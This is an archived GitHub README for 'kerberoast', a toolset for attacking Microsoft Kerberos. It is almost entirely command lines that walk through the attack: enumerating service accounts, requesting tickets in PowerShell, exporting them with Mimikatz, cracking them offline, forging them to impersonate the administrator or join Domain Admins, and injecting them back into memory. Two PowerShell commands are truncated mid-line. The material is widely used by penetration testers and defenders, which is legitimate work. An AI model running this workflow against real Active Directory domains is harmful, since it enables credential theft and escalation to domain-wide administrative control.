# GitHub - nidem/kerberoast

By nidem

Archived: 2026-04-05 23:38:02 UTC

Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does.

## Extract all accounts in use as SPN using built in MS tools

```
PS C:\> setspn -T medin -Q */*
```

## Request Ticket(s)

One ticket:

```
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.lo
```

All the tickets

```
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityMode
```

## Extract the acquired tickets from ram with Mimikatz

```
mimikatz # kerberos::list /export
```

## Crack with tgsrepcrack

```
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```

## Rewrite

Make user appear to be a different user

```
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500
```

Add user to another group (in this case Domain Admin)

```
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512
```

## Inject back into RAM with Mimikatz

```
kerberos::ptt sql.kirbi
```

---

Source: https://github.com/nidem/kerberoast